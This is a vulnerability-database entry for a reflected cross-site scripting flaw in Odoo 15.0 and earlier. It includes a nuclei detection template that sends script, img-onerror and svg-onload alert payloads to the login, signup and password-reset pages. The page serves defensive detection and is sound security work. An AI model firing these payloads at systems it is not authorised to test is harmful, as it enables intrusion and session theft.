HexBrain

Browse / CVEs / CVE-2021-26947

CVE-2021-26947· odoo / odoo· CWE-79

Odoo <= 15.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting (XSS) vulnerability in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote attackers to inject arbitrary web scripts into the browser of a victim via a crafted link. This issue could lead to the execution of malicious scripts in the context of the user's browser session.

Impact

Attackers can execute arbitrary scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Fix

Update to the latest version of Odoo where the vulnerability is fixed or apply security patches that sanitize user inputs properly.

How to confirm it

Send: GET {{BaseURL}}/web/login?error=<script>alert(document.domain)</script> ; GET {{BaseURL}}/web/signup?error=<img/src=x+onerror=alert(document.domain)> ; GET {{BaseURL}}/web/reset_password?error=<svg/onload=alert(document.domain)>
Positive when: contains_any(body, "<script>alert(document.domain)</script>", "<img/src=x onerror=alert(document.domain)>", "<svg/onload=alert(document.domain)>") and contains_any(body, "content=\"Odoo", "var odoo",…

Run it with nuclei: nuclei -id CVE-2021-26947 -u <target>

The full check
id: CVE-2021-26947

info:
  name: Odoo <= 15.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote attackers to inject arbitrary web scripts into the browser of a victim via a crafted link. This issue could lead to the execution of malicious scripts in the context of the user's browser session.
  impact: |
    Attackers can execute arbitrary scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  remediation: |
    Update to the latest version of Odoo where the vulnerability is fixed or apply security patches that sanitize user inputs properly.
  reference:
    - https://github.com/odoo/odoo/issues/107694
    - https://www.debian.org/security/2023/dsa-5399
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
    cve-id: CVE-2021-26947
    epss-score: 0.01399
    epss-percentile: 0.72687
  metadata:
    max-request: 3
    verified: true
    vendor: odoo
    product: odoo
  tags: cve,cve2021,odoo,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/login?error=<script>alert(document.domain)</script>"
      - "{{BaseURL}}/web/signup?error=<img/src=x+onerror=alert(document.domain)>"
      - "{{BaseURL}}/web/reset_password?error=<svg/onload=alert(document.domain)>"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<script>alert(document.domain)</script>", "<img/src=x onerror=alert(document.domain)>", "<svg/onload=alert(document.domain)>")'
          - 'contains_any(body, "content=\"Odoo", "var odoo", "Odoo</title>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from